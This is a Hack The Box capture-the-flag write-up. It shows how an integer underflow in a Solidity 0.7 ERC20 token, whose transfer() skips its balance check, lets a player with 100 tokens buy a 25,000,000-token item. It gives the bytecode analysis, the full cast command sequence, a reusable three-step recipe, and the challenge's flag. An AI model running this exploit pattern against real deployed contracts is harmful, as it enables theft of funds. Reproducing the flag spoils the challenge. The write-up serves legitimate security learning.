$ cat writeup.md…
$ cat writeup.md…
hackthebox
Task: Buy Golden Key from Shop contract with only 100 SVC tokens when price is 25,000,000. Solution: Exploit integer underflow in Solidity 0.7.x ERC20 token where transfer() skips balance check, causing balance to wrap to 2^256-1, then approve and purchase.
A group found a map to a treasure guarded by 3 keys. They need to acquire the "Golden Key" from a dwarf's shop, but they don't have enough "SilverCoins" (ERC20 tokens) to buy it. The challenge provides a private Ethereum chain with three contracts: Setup, SilverCoins (ERC20), and Shop.
Goal: Buy the Golden Key (item 2) from the Shop contract, having only 100 SVC tokens while the price is 25,000,000.
/rpc, /flag, /connection_info, /docsSetup (0x4e07...):
isSolved(address) — checks items[2].owner == player_address on ShopTARGET() — Shop contract addressSilverCoins (0x045d...) — ERC20 token:
Shop (0xf39e...) — shop with 3 items:
| Item | Name | Price | Owner |
|---|---|---|---|
| 0 | Diamond Necklace | 1,000,000 | Shop |
| 1 | Ancient Stone | 70,000 | Shop |
| 2 | Golden Key | 25,000,000 | Shop |
1. Loads item from storage
2. Checks item.owner == address(this) (shop must own it)
3. Calls token.transferFrom(msg.sender, address(this), item.price)
4. Checks return value: require(success, "Payment failed!")
5. Sets items[id].owner = msg.sender
buyItem uses transferFrom(), which correctly checks the balance. This means we need to have enough tokens.
When analyzing the ERC20 token bytecode, two different internal _transfer functions were discovered:
_transfer for transferFrom() (offset 0x63b): Correctly checks require(balances[from] >= amount).
_transfer for transfer() (offset 0x786): Loads balances[from], but then unconditionally jumps (JUMP) to the transfer logic, completely skipping the balance check.
; Offset 0x786 — _transfer used by transfer()
SLOAD balances[from] ; load balance
PUSH2 0x071d ; jump address (bypassing balance check)
JUMP ; unconditional jump — NO CHECK!
INVALID ; unreachable code
Since Solidity 0.7.x has no built-in underflow protection, calling transfer() with amount > balance causes balances[from] -= amount to underflow, wrapping the sender's balance to ~2^256.
# Get connection info curl -s http://TARGET:PORT/connection_info # Returns: PrivateKey, Address, TargetAddress, setupAddress # Check balance cast call $TOKEN "balanceOf(address)(uint256)" $ADDRESS --rpc-url $RPC # 100 # Check Golden Key price cast call $TARGET "viewItem(uint256)" 2 --rpc-url $RPC # name: "Golden Key", price: 25000000, owner: Shop address
Our balance: 100 SVC
Golden Key price: 25,000,000 SVC
Deficit: 24,999,900 SVC
buyItem() uses transferFrom() — correctly checks balance.
Need to increase balance first.
Through bytecode analysis of the ERC20 contract, it was discovered that transfer() uses a different internal _transfer that skips the balance check. This allows triggering an integer underflow.
# Transfer 101 tokens (more than our 100) via transfer() # transfer() skips balance check → underflow! cast send $TOKEN "transfer(address,uint256)" \ "0x0000000000000000000000000000000000000001" 101 \ --rpc-url $RPC --private-key $PRIVATE_KEY # Check balance after underflow cast call $TOKEN "balanceOf(address)(uint256)" $ADDRESS --rpc-url $RPC # 115792089237316195423570985008687907853269984665640564039457584007913129639935 # (2^256 - 1 ≈ 1.157e77)
Balance: 100 - 101 = 2^256 - 1 (underflow without SafeMath).
# Approve the shop for maximum amount cast send $TOKEN "approve(address,uint256)" $TARGET \ "115792089237316195423570985008687907853269984665640564039457584007913129639935" \ --rpc-url $RPC --private-key $PRIVATE_KEY # Buy Golden Key (item 2) cast send $TARGET "buyItem(uint256)" 2 \ --rpc-url $RPC --private-key $PRIVATE_KEY
# Check solution cast call $SETUP "isSolved(address)(bool)" $ADDRESS --rpc-url $RPC # true # Get flag curl -s http://TARGET:PORT/flag # HTB{und32f10w_70_937_7h3_k3y}
Use this technique when:
transfer() and transferFrom() behave differently — different internal execution pathsBefore version 0.8.0, Solidity did not check for arithmetic overflows. The operation uint256(100) - uint256(101) returns 2^256 - 1 instead of an error:
100 - 101 = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
The SafeMath library from OpenZeppelin solved this problem, but not all contracts used it.
The Solidity compiler can create different internal functions for transfer() and transferFrom(), even if in the source code they call the same _transfer. In this case:
transferFrom() → _transfer with balance check (offset 0x63b)transfer() → _transfer without balance check (offset 0x786)This highlights the importance of bytecode analysis, not just source code (if available).
1. transfer(burn_address, balance + 1) → underflow, balance ≈ 2^256
2. approve(shop, max_uint256) → allow shop to spend
3. buyItem(target_item) → transferFrom() succeeds since balance is huge
Without source code, the only way to find the vulnerability is bytecode analysis:
SLOAD — read from storage (balances mapping)
PUSH2 — load 2-byte value (jump address)
JUMP — unconditional jump
JUMPI — conditional jump (used for require/if)
Absence of JUMPI after loading balance = no check.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar